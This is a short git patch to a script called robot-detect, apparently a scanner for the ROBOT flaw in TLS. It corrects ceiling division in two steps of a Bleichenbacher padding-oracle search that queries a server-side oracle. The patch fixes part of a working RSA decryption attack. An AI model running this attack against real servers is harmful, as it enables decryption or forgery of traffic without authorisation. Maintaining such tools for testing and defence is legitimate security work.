From 227aee1bc7a7b06b2c1c47b7d09c12bc28533e31 Mon Sep 17 00:00:00 2001 From: Sudharshan Kumar Date: Thu, 27 Aug 2020 20:00:56 +0200 Subject: [PATCH] Minor Mathematical Corrections --- robot-detect | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/robot-detect b/robot-detect index 5e05f0f..0cf5226 100755 --- a/robot-detect +++ b/robot-detect @@ -366,7 +366,7 @@ while True: # find pairs r,s such that m*s % N = m*s-r*N is PKCS conforming # 2.a) if i == 1: - s = N // (3 * B) + s = -(-N // (3 * B)) cc = (int(gmpy2.powmod(s, e, N)) * c0) % N while not BleichenbacherOracle(cc): s += 1 @@ -385,7 +385,7 @@ while True: a, b = M.pop() M.add((a, b)) r = 2 * (b * s - 2 * B) // N - s = -(-(2 * B + r * N // b)) + s = -(-(2 * B + r * N) // b) cc = (int(gmpy2.powmod(s, e, N)) * c0) % N while not BleichenbacherOracle(cc): s += 1